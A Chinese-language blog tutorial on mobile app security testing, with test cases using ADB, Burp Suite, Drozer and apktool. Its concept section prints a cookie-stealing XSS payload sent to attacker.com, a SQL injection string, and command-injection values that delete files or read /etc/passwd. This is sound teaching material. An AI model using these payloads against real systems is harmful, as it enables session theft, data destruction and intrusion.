banner
武大胆

武大胆

不能为这个世界留下些什么,但是却想在这个世界留下些什么!
bilibili
x
discord user
email
steam

測試篇-App安全測試

安全測試核心領域#

數據安全測試#

  • 存儲安全

    • 測試點:本地數據庫、SharedPreferences/NSUserDefaults、緩存文件、日誌文件。
    • 方法:使用工具(如 ADB、SQLite 瀏覽器)檢查本地存儲的敏感數據(如密碼、Token)是否明文存儲。
    • 工具:MobSF(靜態分析)、DB Browser for SQLite。
  • 傳輸安全

    • 測試點:HTTPS 通信、證書校驗、弱加密算法(如 SSLv3、SHA1)。
    • 方法:抓包工具攔截請求,驗證是否強制使用 TLS 1.2+,檢查證書是否有效(如防中間人攻擊)。
    • 工具:Burp Suite、Wireshark、Charles Proxy。
  • 隱私合規

    • 測試點:用戶數據收集是否符合 GDPR、CCPA 等法規,隱私政策是否明確。
    • 方法:檢查應用權限是否最小化(如無需攝像頭卻請求權限)。

身份認證與授權#

  • 認證機制
    • 測試點:弱密碼策略、多因素認證、生物識別安全性。
    • 方法:模擬暴力破解(如使用工具 Hydra)、繞過生物識別(如假指紋)。
  • 會話管理
    • 測試點:Token 有效期、註銷後 Token 失效、會話劫持。
    • 方法:篡改 Token 重放請求(通過 Burp Repeater 模塊測試)。

代碼與逆向安全#

  • 代碼混淆
    • 測試點:反編譯後代碼可讀性(如是否使用 ProGuard/R8)。
    • 方法:使用 Jadx/Ghidra 反編譯 APK/IPA,檢查關鍵邏輯是否暴露。
  • 反調試機制
    • 測試點:檢測調試器、防止動態注入(如 Frida)。
    • 方法:使用 Frida 嘗試 Hook 關鍵函數,測試應用是否崩潰或觸發防護。

服務端與 API 安全#

  • 接口安全
    • 測試點:越權訪問(水平 / 垂直越權)、參數篡改(如修改用戶 ID)。
    • 方法:使用 Postman 構造請求,測試非授權用戶能否訪問他人數據。
  • 注入攻擊
    • 測試點:SQL 注入、XSS、命令注入。
    • 方法:輸入特殊字符(如' OR 1=1--)測試接口響應。

組件安全(Android 特有)#

  • 四大組件暴露
    • 測試點:Activity、Service、Broadcast Receiver、Content Provider 的導出風險。
    • 方法:使用 Drozer 掃描組件,嘗試未授權訪問(如adb shell am start -n com.example/.DebugActivity)。
  • Intent 劫持
    • 測試點:惡意應用通過 Intent 獲取敏感數據。
    • 方法:構造惡意 Intent 發送數據,檢查應用是否過濾輸入。

運行時安全#

  • 日誌泄露
    • 測試點:調試日誌中是否包含敏感信息。
    • 方法:運行應用並通過 Logcat 查看日誌輸出。
  • 內存安全
    • 測試點:敏感信息在內存中的殘留(如密碼明文)。
    • 工具:使用 Fridump 或 Memory Profiler 檢查內存快照。

第三方依賴安全#

  • 庫漏洞
    • 測試點:第三方 SDK / 庫版本是否存在已知漏洞(如 Apache Commons 舊版本)。
    • 工具:OWASP Dependency-Check、Snyk。
  • 廣告 SDK 風險
    • 測試點:惡意廣告 SDK 收集用戶數據。
    • 方法:審查 SDK 權限及網絡請求行為。

測試方法與工具#

靜態分析#

  • 目的:在不運行代碼的情況下分析潛在漏洞。
  • 工具
    • MobSF:自動化掃描 APK/IPA,檢測不安全配置、硬編碼密鑰。
    • SonarQube:檢查代碼中的安全漏洞(如 SQL 注入片段)。

動態分析#

  • 目的:在運行中檢測漏洞(如數據泄露、API 缺陷)。
  • 工具
    • Burp Suite:攔截修改請求,測試越權、注入。
    • Drozer(Android):動態測試組件安全。

滲透測試#

  • 模擬攻擊場景
    • 中間人攻擊(通過 Burp 安裝自簽名證書)。
    • 逆向工程(使用 Frida 繞過認證邏輯)。

自動化掃描#

  • 工具
    • OWASP ZAP:自動化漏洞掃描(如 XSS、CSRF)。
    • Nessus:網絡層漏洞掃描(如服務器配置錯誤)。

常見場景和詳細測試用例#

數據安全測試 - 存儲安全#

場景
用戶登錄後,應用將密碼明文存儲在本地數據庫的users表中。
測試用例

  • 標題:驗證用戶密碼是否加密存儲

  • 步驟

    1. 安裝應用並完成用戶註冊 / 登錄流程。
    2. 使用 adb shell 進入設備,找到應用數據目錄:
      adb shell "run-as com.example.app ls /data/data/com.example.app/databases"  
      
    3. 導出數據庫文件到本地:
      adb pull /data/data/com.example.app/databases/user.db  
      
    4. 使用 DB Browser for SQLite 打開user.db,檢查users表中的密碼字段是否為明文。
  • 預期結果:密碼字段應為哈希值(如 SHA-256)或加密後的密文。

  • 工具:ADB、DB Browser for SQLite

  • 風險等級:高危(明文存儲可被惡意應用直接竊取)

數據安全測試 - 傳輸安全#

場景
應用在登錄時使用 HTTP 協議傳輸用戶憑證,未啟用 HTTPS。
測試用例

  • 標題:驗證登錄請求是否強制使用 HTTPS
  • 步驟
    1. 配置 Burp Suite 代理,設置手機網絡代理指向 Burp。
    2. 在應用內執行登錄操作,Burp 攔截請求。
    3. 檢查請求 URL 是否為https://,若為http://,嘗試修改請求內容(如密碼字段)並重放。
    4. 觀察服務端是否接受未加密請求。
  • 預期結果:登錄請求僅允許 HTTPS,修改後的 HTTP 請求應被拒絕(返回 4xx/5xx 錯誤)。
  • 工具:Burp Suite
  • 風險等級:高危(中間人可竊取用戶憑證)

身份認證 - 弱密碼策略#

場景
應用允許用戶設置 “123456” 等弱密碼。
測試用例

  • 標題:驗證密碼複雜度策略是否生效
  • 步驟
    1. 在註冊 / 修改密碼頁面,嘗試輸入以下密碼:
      • 123456(純數字)
      • password(常見弱密碼)
      • abc(長度不足)
    2. 檢查應用是否提示 “密碼需包含大小寫字母、數字且長度≥8 位”。
    3. 若允許設置弱密碼,記錄漏洞。
  • 預期結果:應用應拒絕弱密碼並提示複雜度要求。
  • 風險等級:中危(易被暴力破解)

會話管理 - Token 失效測試#

場景
用戶註銷後,應用未使 Token 失效,導致會話劫持。
測試用例

  • 標題:驗證註銷後 Token 是否立即失效
  • 步驟
    1. 用戶 A 登錄應用,使用 Burp 攔截獲取其身份 Token(如Authorization: Bearer xxxx)。
    2. 用戶 A 執行註銷操作。
    3. 使用 Burp Repeater 模塊,攜帶用戶 A 的 Token 訪問需授權的 API(如GET /api/user/profile)。
    4. 檢查服務端是否返回401 Unauthorized
  • 預期結果:註銷後 Token 應立即失效,無法訪問敏感接口。
  • 工具:Burp Suite
  • 風險等級:中危(可導致用戶賬戶被劫持)

代碼混淆 - 反編譯暴露邏輯#

場景
應用未啟用代碼混淆,關鍵算法(如加密邏輯)在反編譯後暴露。
測試用例

  • 標題:驗證 APK/IPA 是否經過代碼混淆
  • 步驟
    1. 使用 apktool 解包 APK 文件:
      apktool d app-release.apk -o output_dir  
      
    2. 使用 Jadx 打開 APK,查看com.example.app.util.CryptoUtils類。
    3. 檢查加密函數(如encryptPassword())是否以明文邏輯顯示(如直接調用 AES 密鑰)。
  • 預期結果:關鍵代碼應被混淆(如類名、方法名隨機化,邏輯難以閱讀)。
  • 工具:Jadx、apktool
  • 風險等級:中危(攻擊者可逆向加密邏輯)

服務端 API - 水平越權#

場景
通過修改用戶 ID 參數,普通用戶可訪問其他用戶的數據。
測試用例

  • 標題:驗證用戶是否能越權訪問他人數據
  • 步驟
    1. 用戶 A(普通用戶)登錄,訪問GET /api/users/123/profile獲取自身數據。
    2. 使用 Burp 攔截請求,將 URL 中的用戶 ID 修改為456(其他用戶)。
    3. 重放請求,檢查是否返回用戶 ID=456 的數據。
  • 預期結果:服務端應返回403 Forbidden,禁止非授權訪問。
  • 工具:Burp Suite
  • 風險等級:高危(數據泄露)

Android 組件安全 - 暴露的 Activity#

場景
應用的調試 Activity(如DebugActivity)被導出,無需權限即可啟動。
測試用例

  • 標題:驗證非導出 Activity 是否被保護
  • 步驟
    1. 使用 Drozer 掃描應用組件:
      dz> run app.package.attacksurface com.example.app  
      
    2. 找到導出的 Activity,嘗試通過 ADB 啟動:
      adb shell am start -n com.example.app/.DebugActivity
      
    3. 觀察是否成功進入調試界面(如日誌輸出、敏感功能)。
  • 預期結果:非必要的 Activity 應設置為android:exported="false"
  • 工具:Drozer、ADB
  • 風險等級:高危(攻擊者可利用調試功能)

運行時安全 - 日誌泄露敏感信息#

場景
應用在調試日誌中打印用戶手機號或 Token。
測試用例

  • 標題:驗證日誌中是否泄露敏感數據
  • 步驟
    1. 使用 Android Studio 的 Logcat 監控應用日誌。
    2. 執行敏感操作(如登錄、查看個人資料)。
    3. 搜索關鍵詞:tokenphonepassword
    4. 檢查日誌中是否明文顯示敏感信息。
  • 預期結果:日誌中僅包含脫敏信息(如token=***)。
  • 工具:Android Studio Logcat
  • 風險等級:中危(惡意應用可讀取日誌)

第三方依賴 - 已知庫漏洞#

場景
應用使用含 CVE 漏洞的舊版本 OkHttp(如 CVE-2023-3635)。

CVE(Common Vulnerabilities and Exposures)公共漏洞和暴露

測試用例

  • 標題:驗證第三方庫是否存在已知漏洞
  • 步驟
    1. 使用 OWASP Dependency-Check 掃描應用依賴:
      dependency-check --project MyApp --scan ./app/libs
      
    2. 檢查報告中的漏洞列表,確認是否包含高風險 CVE。
    3. 比對當前版本與官方修復版本(如 OkHttp 4.10.0→4.12.0)。
  • 預期結果:所有第三方庫應為最新無漏洞版本。
  • 工具:OWASP Dependency-Check
  • 風險等級:高危(可導致遠程代碼執行)

參考資料和概念解釋#

OWASP(Open Worldwide Application Security Project,開放全球應用安全項目)是一個非營利性國際組織,專注於研究和改進應用軟件安全。它的核心目標是幫助開發者、測試人員和企業構建和維護安全的應用程序,通過公開分享知識、工具和最佳實踐來降低安全風險。

1.OWASP MASTG(Mobile Application Security Testing Guide)
2.OWASP MASVS (Mobile Application Security Verification Standard)
image

SharedPreferences/NSUserDefaults#

SharedPreferences(Android) 和 NSUserDefaults(iOS) 是移動應用開發中用於存儲輕量級鍵值對數據(Key-Value)的本地存儲機制。它們主要用於保存應用的簡單配置、用戶偏好設置或臨時狀態數據,但需注意其安全性問題。

測試場景

  1. 檢查明文存儲
    • Android:通過 adb 導出 /data/data/<包名>/shared_prefs/ 下的 XML 文件,搜索敏感字段。
    • iOS:越獄設備中直接查看 .plist 文件,或使用 NSUserDefaults 讀取工具(如 iExplorer)。
  2. 驗證加密
    • 若使用加密庫(如 Android 的 Jetpack Security),檢查密鑰管理是否安全(如是否硬編碼密鑰)。
      典型漏洞案例
  • 案例 1:某社交應用將用戶身份 Token 明文存儲在 SharedPreferences,Root 設備後可直接竊取 Token 進行賬戶劫持。
  • 案例 2:某金融應用通過 NSUserDefaults 存儲臨時密碼,越獄設備讀取 .plist 文件後繞過身份驗證。

XSS / 命令注入#

XSS#

跨站腳本攻擊,Cross-Site Scripting

定義
攻擊者向網頁中注入惡意腳本(如 JavaScript),當其他用戶訪問該頁面時,腳本在其瀏覽器執行,竊取數據或劫持會話。
原理

  • 漏洞根源:應用程序未對用戶輸入的內容進行轉義,直接輸出到 HTML 中。
  • 攻擊方式:在可輸入區域(評論、個人資料)插入 <script> 標籤或事件屬性(如 onerror)。
    分類
  1. 存儲型 XSS
    • 場景:惡意腳本被保存到服務器(如論壇評論),所有訪問者觸發。
    • 示例
      <script>fetch('https://attacker.com?cookie='+document.cookie)</script>
      
      竊取用戶 Cookie。
  2. 反射型 XSS
    • 場景:惡意腳本通過 URL 參數傳遞,僅當前用戶觸發。
    • 示例
      https://example.com/search?q=<script>alert(1)</script>
      
      頁面直接顯示 q 參數內容,觸發彈窗。
  3. DOM 型 XSS
    • 場景:前端 JavaScript 操作 DOM 時未轉義數據。
    • 示例
      document.getElementById("output").innerHTML = location.hash.slice(1);
      
      訪問 https://example.com#<img src=x onerror=alert(1)> 觸發攻擊。

命令注入#

定義
攻擊者在應用程序調用系統命令時,注入惡意參數,導致執行非預期的操作系統命令(如刪除文件、啟動服務)。
原理

  • 漏洞根源:應用程序直接將用戶輸入拼接到系統命令中。
  • 攻擊方式:在輸入中插入命令分隔符(如 ;&&|)。
    常見場景
  1. Web 應用調用系統命令
    • 輸入 IP 地址:8.8.8.8; rm -rf /,觸發命令:
      ping 8.8.8.8; rm -rf / # 執行 ping 後刪除服務器文件
      
  2. 文件上傳功能
    • 上傳文件名:file.jpg; cat /etc/passwd > output.txt,讀取系統密碼文件。
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。